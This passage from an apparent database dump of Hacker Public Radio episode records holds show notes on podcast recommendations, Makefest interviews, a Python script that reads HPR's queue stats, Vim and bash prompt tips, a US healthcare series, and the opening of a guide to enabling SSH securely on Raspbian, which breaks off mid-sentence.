(2339,'2017-07-20','Podcast list additions',1255,'Updates to my list of podcast feeds','<h1 id=\"podcast-list-additions\">Podcast list additions</h1>\r\n<p>I did two HPR shows <a href=\"https://hackerpublicradio.org/eps.php?id=1516\" title=\"01 The podcasts I listen to\">1516</a> and <a href=\"https://hackerpublicradio.org/eps.php?id=1518\" title=\"02 The podcasts I listen to\">1518</a> in 2014 about the podcast feeds I\'m subscribed to. I have made a few additions since then (and a few subtractions) and I thought I\'d share a few of the additions.</p>\r\n<p>The list below shows the feed titles. Clicking on them will take you to the <a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html\">full notes</a> where you can examine the details of the feed.</p>\r\n<ol type=\"1\">\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed1\">The World of Business</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed2\">Criminal</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed3\">Seriously...</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed4\">Start the Week</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed5\">Dan Carlin\'s Hardcore History</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed6\">The Verb</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed7\">Making It With Jimmy Diresta, Bob Clagett and David Picciuto</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed8\">Reclaimed Audio Podcast</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed9\">The Bugcast - Ogg Feed</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed10\">Open Country</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed11\">Common Sense with Dan Carlin</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed12\">Philosophy Bites</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed13\">All in the Mind</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed14\">BacterioFiles</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed15\">podcast (en) – omega tau science &amp; engineering podcast</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed16\">This Week in Evolution</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed17\">This Week in Microbiology</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed18\">Urban Agriculture</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed19\">Weekly Space Hangout Audio</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed20\">Edinburgh Skeptics Presents...</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed21\">Exposing PseudoAstronomy</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed22\">The Pen Addict</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed23\">Late Night Linux (Ogg)</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed24\">systemau - OGG</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed25\">The Changelog</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed26\">The Duffercast Ogg</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed27\">The Full Circle Weekly News</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html#feed28\">The JaK Attack! podcast</a></li>\r\n</ol>\r\n<h2 id=\"resources\">Resources</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/full_shownotes.html\">Full notes</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2339/additions.opml\">OPML file</a></li>\r\n</ul>',225,75,1,'CC-BY-SA','podcast,feed,recommendation',0,0,1),
(2341,'2017-07-24','Liverpool Makefest 2017 Show 3',378,'A short series of interviews done at the Liverpool Makefest 2017','<p>Hi Tony Hughes here with the third show of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.</p>\r\n<p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p>\r\n<p>The first interview is with David from Studio@Deyes in Wavertree</p>\r\n<p><a href=\"https://studio-deyes.co.uk/\" class=\"uri\">https://studio-deyes.co.uk/</a></p>\r\n<p>The second interview was with Laura from Tactile electronics</p>\r\n<p><a href=\"https://tactile-electronics.tumblr.com/\" class=\"uri\">https://tactile-electronics.tumblr.com/</a></p>\r\n<p>The final interview for this show was with Amelia, Beth and Chelsea from Liverpool Girl Geeks.</p>\r\n<p><a href=\"https://www.liverpoolgirlgeeks.co.uk/\" class=\"uri\">https://www.liverpoolgirlgeeks.co.uk/</a></p>',338,78,0,'CC-BY-SA','Interviews, Making',0,0,1),
(2342,'2017-07-25','Wherein our hero fails to repair a garage door.',1517,'I try and fail to fix my garage door.','<p>My garage door failed spectacularly for a second time. I make an attempt to repair it but find that my extension cables are a bit too short. I hope I can explain a little about how garage doors work along the way.</p>',241,0,1,'CC-BY-SA','diy, home improvement, fixit, wontfix, failure, door, garage door, handyman, narration',0,0,1),
(2344,'2017-07-27','Follow on to HPR2340 (Tracking the HPR queue in Python)',869,'Improved version of script to capture the number of HPR shows in the queue using python.','<p>This is a follow up to my previous show HPR2340, the improvement being I use the available STATS file from the hpr website rather than scraping the content from the HPR calendar page</p>\r\n<ul>\r\n<li><p>Link to my original show HPR2340<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2340\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2340</a></p></li>\r\n<li><p>Link to the excellent episode HPR1986 from Dave Morriss which references the stats file<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1986/full_shownotes.html#example-2\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1986/full_shownotes.html#example-2</a></p></li>\r\n<li><p>Link to useful HPR Stats page<br />\r\n<a href=\"https://hackerpublicradio.org/stats.php\" class=\"uri\">https://hackerpublicradio.org/stats.php</a></p></li>\r\n</ul>\r\n<p>Snapshot contents (2017-06-23) of \'stats.txt\' file which was actually called \'hpr_stats.txt\' my mistake</p>\r\n<pre><code>Started:    11 years, 8 months, 19 days ago (2005-10-10)\r\nRenamed HPR:    9 years, 5 months, 27 days ago (2007-12-31)\r\nTotal Shows:    2911\r\nTotal TWAT: 300\r\nTotal HPR:  2611\r\nHPR Hosts:  286\r\nDays to next free slot: 17\r\nHosts in Queue: 9\r\nShows in Queue: 14\r\nComments waiting approval:  0\r\nFiles on the FTP Server:    1\r\nNumber of Emergency Shows:  7\r\nDays until show without media:  0\r\n1498246151,369343750,299186950,2911,300,2611,286,17,9,14,0,1,7,0</code></pre>\r\n<ul>\r\n<li>Link to Meld the great visual diff and merge tool<br />\r\n<a href=\"https://meldmerge.org/\" class=\"uri\">https://meldmerge.org/</a></li>\r\n</ul>\r\n<pre><code>#!/usr/bin/env python3\r\n\r\n### This is a scratchpad file I&#39;ve created to try out snippets of code in python\r\n\r\n# The script below is for use with Python 3\r\n# This script should work out of the box on most systems running a version of Python 3 \r\n# If you happen to have a blinkstick lying about then your can uncomment the blinkstick module\r\n# and uncomment the references at the bottom of the program that call the blinkstick functions\r\n# Regrds, Mr X\r\n\r\n\r\n# Imported modules\r\nfrom time import sleep          # used to pause program\r\n#from blinkstick import blinkstick  # used to control blinkstick nano attached to usb port of raspberry pi\r\nimport urllib.request           # used to capture hpr webpage content to get the number of HPR shows in the que\r\nimport re               # regular expressions, used to find sting in HPR webpage (get_hpr_que)\r\n\r\n\r\n# These functions control a blink stick nano attached to my raspberry pi USB port #################\r\n# They can be ignored or deleted if you don&#39;t have one\r\n\r\n\r\ndef bstick_off():\r\n# Search for all attached blinksticks and turn them all off\r\n    for bstick in blinkstick.find_all():\r\n        bstick.turn_off()   # Turn front blinkstick LED off\r\n        bstick.set_color(channel=0, index=1, name=&quot;black&quot;)  # Turn rear blinkstick led off\r\n        print(&quot;Blinkstick: &quot; + bstick.get_serial() + &quot; turned off&quot;)\r\n\r\n\r\ndef bstick_on(colour):\r\n# Turn blinkstick on and set led colour to string value stored in var colour\r\n# valid colours are, black, silver, gray, white, maroon, red, purple, fuchsia, green, lime, olive, yellow, navy, blue, teal, aqua\r\n    for bstick in blinkstick.find_all():\r\n        bstick.set_max_rgb_value(30)        # Sets max blinkstick RGB value to 15, makes LED dimm\r\n        bstick.set_color(name=colour)       # Turn blinkstick on, var colour determines colour\r\n        print (&quot;Blinkstick: &quot; + bstick.get_serial() + &quot; | Colour: &quot; + bstick.get_color(color_format=&quot;hex&quot;) + &quot; [&quot; + colour + &quot;]&quot;)\r\n#hex\r\n\r\ndef bstick_on_random():\r\n# Turn blinkstick on colour random\r\n    for bstick in blinkstick.find_all():\r\n        bstick.set_random_color()\r\n        print (&quot;Blinkstick: &quot; + bstick.get_serial() + &quot; | Colour: &quot; + bstick.get_color(color_format=&quot;hex&quot;))\r\n\r\n\r\ndef bstick_blink_red():\r\n# Flash blinkstick colour red\r\n    for bstick in blinkstick.find_all():\r\n        bstick.blink(name=&quot;red&quot;)\r\n        print (&quot;Blinkstick: &quot; + bstick.get_serial() + &quot; | Colour: &quot; + bstick.get_color(color_format=&quot;hex&quot;))\r\n\r\n################################################################################\r\n\r\n\r\ndef get_hpr_que_improved():\r\n# Goto hacker public stats page and extract the number of days to next free slot\r\n# turns on blinkstick LED with colour dependent on the number of days to next free slot in HPR queue\r\n\r\n    url = &#39;https://hackerpublicradio.org/stats.php&#39;  # HPR url for stats page\r\n    try:\r\n        text = urllib.request.urlopen(url).read()   # Try to read hpr stats text\r\n    except:\r\n        print(&quot;ERROR: Problem acessing url &quot; + url)     # if error accessing url then return -1\r\n        hpr_shows = -1\r\n        return hpr_shows\r\n    #print(text)    # DEBUG\r\n    text_page = str(text)   # convert text from list to string\r\n    line_begin = text_page.find(&#39;Days to next free slot:&#39;) # find position of string in page\r\n    line_end = line_begin + 27 # Store line end position (start position + 27)\r\n    line = text_page[line_begin:line_end]  # Capture string line\r\n    #print(line) # DEBUG Print line string\r\n    digit = re.findall(r&#39;\\d+&#39;,line)         # Find digits in line\r\n    #print(digit[0])    # DEBUG print the 1st digit\r\n    try:\r\n        hpr_shows = int(digit[0])   # convert digit list to integer days\r\n    except:                         # If show numbers not found then return -1\r\n        print(&quot;ERROR: Problem getting number of HPR shows in que.&quot;)\r\n        hpr_shows = -1\r\n        return hpr_shows\r\n\r\n    if hpr_shows &gt; 9:       # If hpr show que &gt; 9 turn on green LED\r\n        print(&quot;Turn on green blinkstick LED&quot;)\r\n        #bstick_on(&quot;green&quot;)\r\n    elif hpr_shows &gt; 5:     # Else if hpr show que &gt; 5 turn on blue LED\r\n        print(&quot;Turn on blue blinkstick LED&quot;)\r\n        #bstick_on(&quot;blue&quot;)\r\n    elif hpr_shows &gt; -1:    # Else if hpr show que &gt; -1 turn on ref LED\r\n        print(&quot;Turn on red blinkstick LED&quot;)     \r\n        #bstick_on(&quot;red&quot;)\r\n    else:\r\n        print(&quot;Flash red blinkstick LED&quot;)\r\n        #bstick_blink_red() # Else blink LED to show error\r\n    print(&quot;The are &quot; + str(hpr_shows) + &quot; days to tne next free slot in the HPR que...&quot;)\r\n    sleep(4)\r\n    print(&quot;Turn off all blinkstick LED&#39;s&quot;)\r\n    #bstick_off()           # Turn blinkstick off\r\n\r\n\r\n# Main program\r\nget_hpr_que_improved()</code></pre>\r\n',201,25,1,'CC-BY-SA','Python, Programming, Hardware, BlinkStick',0,0,1),
(2346,'2017-07-31','Liverpool Makefest 2017 Show 4',315,'A short series of interviews done at the Liverpool Makefest 2017','<p>Hi Tony Hughes here with the 4th show of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.</p>\r\n<p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p>\r\n<p>The first interview is with Hillary Harper one of the Makefest Crew</p>\r\n<p>The second interview was with Gemma from Patten Craft</p>\r\n<p><a href=\"https://www.gemmamaylatham.co.uk/portfolio-item/patterncraft/\" class=\"uri\">https://www.gemmamaylatham.co.uk/portfolio-item/patterncraft/</a></p>\r\n<p>The final interview for this show was with Simon Rider of Liverpool Book Art</p>\r\n<p><a href=\"https://liverpoolbookart.com/\" class=\"uri\">https://liverpoolbookart.com/</a></p>\r\n',338,78,0,'CC-BY-SA','Interviews, Making',0,0,1),
(2352,'2017-08-08','Liverpool Makefest 2017 Show 5',192,'A short series of interviews done at the Liverpool Makefest 2017','<p>Hi Tony Hughes here with the 5th and final show of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.</p>\r\n<p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p>\r\n<p>The first interview is with Diane from Melt 3D printing</p>\r\n<p><a href=\"https://www.melt-3d.co.uk/\" class=\"uri\">https://www.melt-3d.co.uk/</a></p>\r\n<p>The second interview was with Michael from Electric Flapjack Guitars</p>\r\n<p><a href=\"https://lpoolmakefest.org/portfolio/electric-flapjack-guitars/\" class=\"uri\">https://lpoolmakefest.org/portfolio/electric-flapjack-guitars/</a></p>\r\n<p><span class=\"citation\" data-cites=\"EFGuitars\">@EFGuitars</span></p>\r\n<p><a href=\"https://instagram.com/electricflapjack\" class=\"uri\">https://instagram.com/electricflapjack</a></p>',338,78,0,'CC-BY-SA','Interviews, Making',0,0,1),
(2343,'2017-07-26','Healthcare in the Netherlands',1109,'Ken reads the Wikipedia article on Healthcare in the Netherlands','<p>\r\nIn show <a href=\"https://hackerpublicradio.org/eps.php?id=2325\">hpr2325</a> Ahuka describes how Health Insurance and How It Works.</p>\r\n<p>\r\nIn this episode Ken reads the current state of Healthcare in the Netherlands by reading the Wikipedia entry.</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Healthcare_in_the_Netherlands\">Healthcare in the Netherlands</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2325\">hpr2325 :: Insurance - How It Works</a></li>\r\n</ul>',30,100,1,'CC-BY-SA','Health Insurance',0,0,1),
(2348,'2017-08-02','Vim Hints 005',2286,'Hints and Tips for Vim users - part 5','<h1 id=\"vim-hints-005\">Vim Hints 005</h1>\r\n<h2 id=\"vim-hints-is-back\">Vim Hints is back!</h2>\r\n<p>Oops! Where did half of 2015, all of 2016 and the first half of 2017 go?</p>\r\n<p>Well, life got in the way, plus motivation dwindled somewhat. This series is very demanding - the <b>sed</b> series was a walk in the park compared to tackling the continental-scale landscape of Vim!</p>\r\n<p>Still, the original goal was to try and introduce the really useful features of Vim and to make it manageable for everyday use. The hope was, and still is, that the series could get people started on their own journeys through its marvels.</p>\r\n<p>Also, with the currently circulating <a href=\"https://stackoverflow.blog/2017/05/23/stack-overflow-helping-one-million-developers-exit-vim/\" title=\"How to exit Vim\">StackOverflow article</a> on &quot;<em>How to exit the Vim editor?</em>&quot;, it\'s worth pointing out that we dealt with that subject in episode 1, and this issue is revealed as the ridiculous meme that it really is!</p>\r\n<h2 id=\"quick-recap\">Quick recap</h2>\r\n<p>To recap, the last episode of this planned series was in March 2015. Here\'s a list of links to all of the episodes so far:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1714\" title=\"Vim Hints 001\">Vim Hints 001</a> (show 1714 2015-02-26)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1724\" title=\"Vim Hints 002\">Vim Hints 002</a> (show 1724 2015-03-12)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1734\" title=\"Vim Hints 003\">Vim Hints 003</a> (show 1734 2015-03-26)</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1776\" title=\"Vim Hints 004\">Vim Hints 004</a> (show 1776 2015-05-25)</li>\r\n</ul>\r\n<p>Let\'s briefly describe what was covered in these episodes to set the context.</p>\r\n<p>So far we have looked at very basic editing in <a href=\"https://hackerpublicradio.org/eps.php?id=1714\" title=\"Vim Hints 001\">episode 1</a>, where we mentioned modes <em>Normal</em>, <em>Insert</em> and <em>Command</em> modes.</p>\r\n<p>In <a href=\"https://hackerpublicradio.org/eps.php?id=1724\" title=\"Vim Hints 002\">episode 2</a> we looked at Vim\'s backup mechanism, undoing and redoing changes, and file recovery in the event of a problem. We started using the <code>.vimrc</code> configuration file.</p>\r\n<p>We began looking at movement commands in <em>Normal</em> mode in <a href=\"https://hackerpublicradio.org/eps.php?id=1734\" title=\"Vim Hints 003\">episode 3</a>, and beefed up the configuration file somewhat.</p>\r\n<p>More movement commands were covered in <a href=\"https://hackerpublicradio.org/eps.php?id=1776\" title=\"Vim Hints 004\">episode 4</a> as well as searching. We began looking at commands that make changes, adding, inserting, deleting and changing text in various ways. The concept of doing these things with various movements was covered. Again, a number of useful options for the configuration file were introduced.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are particularly long, they have been placed here: <a href=\"https://hackerpublicradio.org/eps/hpr2348/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2348/full_shownotes.html</a> and an ePub version is also available here: <a href=\"https://hackerpublicradio.org/eps/hpr2348/full_shownotes.epub\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2348/full_shownotes.epub</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ol type=\"1\">\r\n<li><a href=\"https://stackoverflow.blog/2017/05/23/stack-overflow-helping-one-million-developers-exit-vim/\">Stack Overflow: Helping One Million Developers Exit Vim</a></li>\r\n<li>Vim Help:\r\n<ul>\r\n<li><a href=\"https://vimdoc.sourceforge.net/htmldoc/change.html\">Vim documentation: change</a></li>\r\n<li><a href=\"https://vimdoc.sourceforge.net/htmldoc/motion.html\">Vim documentation: motion</a></li>\r\n<li><a href=\"https://vimdoc.sourceforge.net/htmldoc/options.html\">Vim documentation: options</a></li>\r\n</ul></li>\r\n<li>Previous episode: &quot;<a href=\"https://hackerpublicradio.org/eps.php?id=1776\">Vim Hints Episode 4</a>&quot;</li>\r\n<li>Resources:\r\n<ul>\r\n<li>Full notes in <a href=\"https://hackerpublicradio.org/eps/hpr2348/full_shownotes.html\">HTML form</a></li>\r\n<li>Full notes in <a href=\"https://hackerpublicradio.org/eps/hpr2348/full_shownotes.epub\">ePub form</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2348/example_vimrc_5\">Example .vimrc</a></li>\r\n</ul></li>\r\n</ol>\r\n',225,82,1,'CC-BY-SA','vim,editor,movement,copy,paste,text object,configuration,.vimrc',0,0,1),
(2349,'2017-08-03','Customizing my bash prompt',1452,'A detailed look into how, and why, to customize a bash prompt.','<h1 id=\"basic-bash-prompt-information\">Basic bash prompt information</h1>\r\n<ul>\r\n<li>Variables and files\r\n<ul>\r\n<li><code>.bashrc</code>: the RC file where all of this stuff can be set</li>\r\n<li><code>PS1</code>: main prompt variable</li>\r\n<li><code>PS2</code>: continuation prompt</li>\r\n<li><code>PROMPT_COMMAND</code>: a bash function name, run every time prompt is displayed</li>\r\n</ul></li>\r\n<li>Colors\r\n<ul>\r\n<li>Uses <a href=\"https://www.tldp.org/LDP/abs/html/colorizing.html\">escape sequences</a></li>\r\n<li>There are problems with prompts and escape sequences\r\n<ul>\r\n<li>Multiple escaping</li>\r\n<li>String interpretation and variable expansion</li>\r\n</ul></li>\r\n<li>tput to the rescue!\r\n<ul>\r\n<li>Takes away the need for complex escape codes</li>\r\n<li>Must run <code>tput init</code> at the beginning of your <code>.bashrc</code> file</li>\r\n<li>TL;DR: Use tput for color strings, add them at the last possible moment, with brackets and backslashes</li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Embedding bash scripts\r\n<ul>\r\n<li>Single quotes are king</li>\r\n<li>Will be run every time PS1 is evaluated</li>\r\n<li>Otherwise, only run at time of assignment</li>\r\n</ul></li>\r\n</ul>\r\n<h1 id=\"layout-of-my-prompt\">Layout of my prompt</h1>\r\n<ul>\r\n<li>Two lines\r\n<ul>\r\n<li>Information/status line</li>\r\n<li>Prompt line</li>\r\n</ul></li>\r\n<li>Status line\r\n<ul>\r\n<li>Starts with current username\r\n<ul>\r\n<li>Changes color when user has mail</li>\r\n</ul></li>\r\n<li>Next is the hostname (truncated)\r\n<ul>\r\n<li>Separated by an @ symbol, like an email address</li>\r\n<li>Changes color when the system is in need of a reboot</li>\r\n<li>Checks for /run/reboot_required</li>\r\n</ul></li>\r\n<li>Current directory\r\n<ul>\r\n<li>Separated from previous items by a pipe</li>\r\n<li>Truncated with a tilde if user\'s home is in the path</li>\r\n<li>Prepended with a number indicating the directory stack, if present</li>\r\n<li>Appended with the git (±) symbol if we\'re in a git branch, followed by the name of the branch</li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Prompt line\r\n<ul>\r\n<li>A blue » character</li>\r\n<li>Prepended with the number of background processes spawned from this terminal</li>\r\n</ul></li>\r\n</ul>\r\n<p>Screenshot:</p>\r\n<p><img src=\"https://fragdev.com/media/img/prompt.png\" alt=\"A screenshot of my bash prompt, both initially and with all of the bells and whistles showing\" /></p>\r\n\r\n<h3>Link to Git Repository</h3>\r\n<ul><li><a href=\"https://gitlab.com/windigo-configs/bash.git\">https://gitlab.com/windigo-configs/bash.git</a></li></ul>\r\n<p><small><small><em>Editor\'s Note: added 2017-08-05</em></small></small></p>\r\n',196,42,1,'CC-BY-SA','bash,command line,configuration,terminal',0,0,1),
(2350,'2017-08-04','Ahuka Insurance - Understanding The Marketplace',620,'How the Health Insurance Market works in the U.S','<p>In the U.S., health care, like most things, is driven by a private marketplace. We take a look at the principles that govern this marketplace in this episode.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.npr.org/templates/story/story.php?storyId=114045132\" class=\"uri\">https://www.npr.org/templates/story/story.php?storyId=114045132</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=293\" class=\"uri\">https://www.palain.com/?page_id=293</a></li>\r\n</ul>',198,0,0,'CC-BY-SA','Health Insurance, Health Policy, Insurance Marketplace',0,0,1),
(2360,'2017-08-18','Tradeoffs in the US Health Care System',756,'Financing health care means choices to be made','<p>Health care is a service, and like all services it needs to be paid for one way or another. This means making choices, and there are consequences and implications to whichever choice you make. But there is no free lunch, you have to pay.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.cms.gov/Medicare/Medicare-Fee-for-Service-Payment/AcuteInpatientPPS/dsh.html\" class=\"uri\">https://www.cms.gov/Medicare/Medicare-Fee-for-Service-Payment/AcuteInpatientPPS/dsh.html</a></li>\r\n<li><a href=\"https://insight.kellogg.northwestern.edu/article/who-bears-the-cost-of-the-uninsured-nonprofit-hospitals\" class=\"uri\">https://insight.kellogg.northwestern.edu/article/who-bears-the-cost-of-the-uninsured-nonprofit-hospitals</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=302\" class=\"uri\">https://www.palain.com/?page_id=302</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health Insurance, Health Policy, Insurance Marketplace',0,0,1),
(2375,'2017-09-08','Competing Interests',960,'We look at the marketplace and see how everyone\'s interests clash','<p>The Health Care Marketplace in the U.S. has 6 major partipants: Doctors, Hospitals, Insurance Companies, Employers, Government, and Individuals. Each of them has interests and incentives, and they tend to clash. How we resolve those competing interests has consequences for the systems we create.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.michigan.gov/documents/mdch/2013_Brochure_409310_7.pdf\" class=\"uri\">https://www.michigan.gov/documents/mdch/2013_Brochure_409310_7.pdf</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Trolley_problem\" class=\"uri\">https://en.wikipedia.org/wiki/Trolley_problem</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=307\" class=\"uri\">https://www.palain.com/?page_id=307</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health Insurance, Health Policy, Insurance Marketplace',0,0,1),
(2385,'2017-09-22','Healthcare Costs',772,'What are the cost pressures in healthcare?','<p>The big driver to changing the healthcare system in the U.S. was the inexorable rise in healthcare costs. These costs kept rising for a number of reasons, which we look at at in this episode.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Baumol%27s_cost_disease\">https://en.wikipedia.org/wiki/Baumol%27s_cost_disease</a></li>\r\n<li><a href=\"https://www.cnet.com/news/robots-for-cancer-diagnosis-biopsy-lack-the-human-touch/?ftag=CAD090e536&bhid=20535501410714773631202074326606\" class=\"uri\">https://www.cnet.com/news/robots-for-cancer-diagnosis-biopsy-lack-the-human-touch/?ftag=CAD090e536&bhid=20535501410714773631202074326606</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_countries_by_total_health_expenditure_per_capita\" class=\"uri\">https://en.wikipedia.org/wiki/List_of_countries_by_total_health_expenditure_per_capita</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=309\" class=\"uri\">https://www.palain.com/?page_id=309</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health Insurance, Health Policy, Insurance Marketplace, Healthcare Costs',0,0,1),
(2395,'2017-10-06','Obamacare',949,'What did Obamacare do?','<p>In previous episodes we set the stage by examining insurance, the marketplace, competing interests, tradeoffs, and costs. With that we can now understand what Obamacare attempted to do and give a tentative evaluation of the legislation and its effects.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.cms.gov/Research-Statistics-Data-and-Systems/Research/ActuarialStudies/downloads/MedicaidReport2010.pdf\" class=\"uri\">https://www.cms.gov/Research-Statistics-Data-and-Systems/Research/ActuarialStudies/downloads/MedicaidReport2010.pdf</a></li>\r\n<li><a href=\"https://data.bls.gov/timeseries/CUUR0000SAM?output_view=pct_12mths\" class=\"uri\">https://data.bls.gov/timeseries/CUUR0000SAM?output_view=pct_12mths</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=314\" class=\"uri\">https://www.palain.com/?page_id=314</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health Insurance, Health Policy, Insurance Marketplace, Obamacare',0,0,1),
(2356,'2017-08-14','Safely enabling ssh in the default Raspbian Image',1973,'Ken walks us through a script to secure the base Raspbian Pixel image\r\n','<p>In this post I will show you how to take a default Raspbian Image and safely enable ssh by allowing remote access only with authorized keys.</p>\r\n<p>Recently, and correctly, the official Raspbian Pixel distribution disabled ssh with the note that <em>from now on SSH will be disabled by default on our images.</em>To understand why this is a good thing please read <a href=\"https://www.raspberrypi.org/blog/a-security-update-for-raspbian-pixel/\" target=\"_blank\" rel=\"noopener\">A security update for raspbian pixel</a>. In short, having 11 million computers out there in the hands of non security professionals, with a known username and password, is not a good idea.</p>\r\n<p>That said there are many cases where you want to access your Pi remotely, and a key part of that is the ability to access it securely via ssh.</p>\r\n<p>The Raspberry Pi site offers a <a href=\"https://www.raspberrypi.org/documentation/remote-access/ssh/\">solution</a> for how to reactivate ssh. One option is via the GUI, <em>Preferences</em> &gt; <em>Interfaces</em>&gt; <em>SSH</em> &gt; <em>Enabled</em>. Another is via the console <em>sudo raspi-config</em> &gt; <em>Interfacing Options </em>&gt; <em>SSH</em> &gt; <em>Yes &gt; Ok &gt; Finish</em>. The third offers a more interesting option.</p>\r\n<blockquote><p>For headless setup, SSH can be enabled by placing a file named ssh, without any extension, onto the boot partition of the SD card. When the Pi boots, it looks for the ssh file. If it is found, SSH is enabled, and the file is deleted. The content of the file does not matter: it could contain text, or nothing at all.</p></blockquote>\r\n<p>This is exactly what we want. Normally you would burn the image, then boot it in a Pi with a keyboard, screen and mouse attached, and then add the file. A shortcut to that would be to burn the image, eject it, insert it again, mount the sdcard boot partition, and then create a file called <em>ssh</em>.</p>\r\n<p>I don\'t like either of these solutions as they involve varying amounts of user intervention. I want a solution that will automatically leave me with a modified image at the end without any intervention (aka human error) on my part.</p>\r\n<p>So I want to build a script that can handle the following steps:</p>\r\n<ul>\r\n<li>Download the latest image zip file</li>\r\n<li>Verify it is valid</li>\r\n<li>Extract the image itself</li>\r\n<li>Enable ssh</li>\r\n<li>Change the default passwords for the root and pi user</li>\r\n<li>Secure the ssh server on the Pi</li>\r\n</ul>\r\n<p>I could add to this list and customize every aspect of the image, but my experience has shown that the more you modify, the more maintenance you will need to do. When changes are made to the base Raspbian image, you will need to fix your scripts, and worse is the job of updating all those already deployed Pi\'s.</p>\r\n<p>A better approach is to use the base images and control them with automation tools like <a href=\"https://www.ansible.com/\">Ansible</a>, <a href=\"https://www.chef.io/chef/\">chef</a>, <a href=\"https://puppet.com\">puppet</a>, <a href=\"https://cfengine.com/\">cfengine</a>, etc. This allows the images to be treated as Cattle rather than Pets, to see what that means see <a href=\"https://www.slideshare.net/randybias/architectures-for-open-and-scalable-clouds\">Architectures for open and scalable clouds</a>, by Randy Bias, VP Technology at EMC, Director at OpenStack Foundation.</p>\r\n<p>Another approach to consider would be 